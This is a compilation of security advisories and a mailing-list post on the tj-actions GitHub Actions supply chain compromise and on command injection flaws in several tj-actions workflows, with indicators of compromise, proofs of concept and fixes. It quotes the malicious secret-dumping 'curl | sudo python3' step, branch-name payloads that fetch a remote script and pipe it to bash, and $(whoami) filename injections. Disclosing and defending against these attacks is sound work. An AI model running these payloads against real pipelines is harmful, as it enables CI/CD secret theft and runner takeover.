Summary A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in v46.0.1.

Details The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

Key Indicators of Compromise (IoC): - Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - Retroactively updated tags pointing to the malicious commit: - v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

Malicious Code Execution: The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs: B64BLOB=curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3

This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.

Proof of Concept (PoC) Steps to Reproduce: 1. Create a GitHub Actions workflow using the tj-actions/changed-files action:

yml name: "tj-action changed-files incident" on: pullrequest: branches: - main jobs: changedfiles: runs-on: ubuntu-latest steps: - name: Get changed files id: changed-files uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67 2. Run the workflow and inspect the logs in the Actions tab. 3. Vulnerable workflows may display secrets in the logs.

Detection: Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to: - gist.githubusercontent.com

Live reproduction logs: 🔗 Harden-Runner Insights

This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.

Duration of Vulnerability The vulnerability was active between March 14 and March 15, 2025.

Action Required 1. Review your workflows executed between March 14 and March 15: - Check the changed-files section for unexpected output. - Decode suspicious output using the following command: echo 'xxx' | base64 -d | base64 -d - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.

2. Update workflows referencing the compromised commit: - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.

3. Tagged versions: - If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

4. Rotate potentially exposed secrets: - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

Impact - Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage - Who is impacted: - Over 23,000 repositories using tj-actions/changed-files. - Organizations with public repositories are at the highest risk, as their logs may already be compromised. - Potential consequences: - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys). - Unauthorized access to source code, infrastructure, and production environments. - Credential leaks in public repositories, enabling further supply chain attacks.

Overview

A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.

Technical Details

The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:

bash echo "baserefbranch=$(eval printf "%s" "$BASEREF")" >> "$GITHUBOUTPUT" echo "headrefbranch=$(eval printf "%s" "$HEADREF")" >> "$GITHUBOUTPUT" echo "refbranch=$(eval printf "%s" "$REFBRANCH")" >> "$GITHUBOUTPUT"

This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.

Proof-of-Concept (PoC)

1. Create a branch with the name $(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash). 2. Trigger the vulnerable workflow by opening a pull request into the target repository. 3. Observe arbitrary code execution in the workflow logs.

Example output: bash Running on a pull request branch. Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)" echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)" shell: /usr/bin/bash -e {0} Running on pr: === PoC script executed successfully === Runner user: runner

Impact

This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUBTOKEN and the context of the triggering event. Potential consequences include:

- Theft of sensitive secrets stored in the repository. - Unauthorized write access to the repository. - Compromise of the repository's integrity and security.

Mitigation and Resolution

To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:

bash printf "baserefbranch=%s\n" "$BASEREF" >> "$GITHUBOUTPUT" printf "headrefbranch=%s\n" "$HEADREF" >> "$GITHUBOUTPUT" printf "refbranch=%s\n" "$REFBRANCH" >> "$GITHUBOUTPUT" printf "tag=%s\n" "$TAG" >> "$GITHUBOUTPUT"

This approach ensures that all outputs remain properly escaped and safe for downstream consumption.

Recommendations

1. Immediate Action: Developers using the tj-actions/branch-names workflow should update their workflows to latest major version v9.

References - GitHub Actions Security Guide - How to Secure GitHub Actions Workflows - Related Vulnerability: GHSA-mcph-m25j-8j63 - Template Injection Advisory: GHSA-8v8w-v8xg-79rf

Evan (CC'd) wrote tooling to detect tj-actions/changed-files compromises over the weekend.

tj-scan is now public and aims to help others review logs from their private and public repos for leaked credentials.

https://github.com/chainguard-dev/tj-scan

Mark

On Sat, Mar 15, 2025 at 12:03 PM Mark Esler <mark.esler () chainguard dev> wrote: On March 14 2025 at 16:57:45 UTC the tj-action/changed-files GitHub action was compromised with commit 0e58ed8 ("chore(deps): lock file maintenance (#2460)"). This commit was added to all 361 tagged versions of the GitHub action. This malicious commit results in a script that can leak CI/CD secrets from runner memory.

The compromised action has been removed from GitHub.

We are discovering open source projects which are using the compromised action.

StepSecurity [0] and Semgrep [1] posted early analysis.

Cheers, Mark

[0] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised [1] https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/

Summary The tj-actions/changed-files workflow allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets.

Details The changed-files action returns a list of files changed in a commit or pull request which provides an escapejson input enabled by default, only escapes " for JSON values.

This could potentially allow filenames that contain special characters such as ; and \ (backtick) which can be used by an attacker to take over the GitHub Runner if the output value is used in a raw fashion (thus being directly replaced before execution) inside a run block. By running custom commands an attacker may be able to steal secrets such as GITHUBTOKEN if triggered on other events than pullrequest. For example on push.

Proof of Concept

1. Submit a pull request to a repository with a new file injecting a command. For example $(whoami).txt which is a valid filename. 2. Upon approval of the workflow (triggered by the pull request), the action will get executed and the malicious pull request filename will flow into the List all changed files step below.

yaml - name: List all changed files run: | for file in ${{ steps.changed-files.outputs.allchangedfiles }}; do echo "$file was changed" done

Example output:

yaml ##[group]Run for file in $(whoami).txt; do for file in $(whoami).txt; do echo "$file was changed" done shell: /usr/bin/bash -e {0} ##[endgroup] runner.txt was changed

Impact

This issue may lead to arbitrary command execution in the GitHub Runner.

Resolution - A new safeoutput input would be enabled by default and return filename paths escaping special characters like ;, (backtick), $, (), etc for bash environments.

- A safe recommendation of using environment variables to store unsafe outputs.

yaml - name: List all changed files env: ALLCHANGEDFILES: ${{ steps.changed-files.outputs.allchangedfiles }} run: | for file in "$ALLCHANGEDFILES"; do echo "$file was changed" done

Resources

Keeping your GitHub Actions and workflows secure Part 2: Untrusted input Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests

Summary The tj-actions/verify-changed-files action allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets.

Details The verify-changed-files workflow returns the list of files changed within a workflow execution.

This could potentially allow filenames that contain special characters such as ; and \ (backtick) which can be used by an attacker to take over the GitHub Runner if the output value is used in a raw fashion (thus being directly replaced before execution) inside a run block. By running custom commands an attacker may be able to steal secrets such as GITHUBTOKEN if triggered on other events than pullrequest. For example on push.

Proof of Concept

1. Submit a pull request to the repository with a new file injecting a command. For example $(whoami).txt would be a valid filename. 2. Upon approval of the workflow (triggered by the pull request), the action will get executed and the malicious pull request filename will flow into the List all changed files tracked and untracked files step.

yaml - name: List all changed files tracked and untracked files run: | echo "Changed files: ${{ steps.verify-changed-files.outputs.changedfiles }}"

Example output:

yaml ##[group]Run echo "Changed files: $(whoami).txt" echo "Changed files: $(whoami).txt" shell: /usr/bin/bash -e {0} ##[endgroup] Changed files: runner.txt

Impact This issue may lead to arbitrary command execution in the GitHub Runner.

Resolution - A new safeoutput input would be enabled by default and return filename paths escaping special characters like ;, (backtick), $, (), etc for bash environments.

- A safe recommendation of using environment variables to store unsafe outputs.

yaml - name: List all changed files tracked and untracked files env: CHANGEDFILES: ${{ steps.verify-changed-files.outputs.changedfiles }} run: | echo "Changed files: $CHANGEDFILES"

Resources

Keeping your GitHub Actions and workflows secure Part 2: Untrusted input Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pullrequest.head.ref and github.headref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "refs/tags/" ]]; then BASEREF=$(printf "%q" "${{ github.event.pullrequest.base.ref || github.baseref }}") HEADREF=$(printf "%q" "${{ github.event.pullrequest.head.ref || github.headref }}") REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact An attacker can use this vulnerability to steal secrets from or abuse GITHUBTOKEN permissions.

Reference - https://securitylab.github.com/research/github-actions-untrusted-input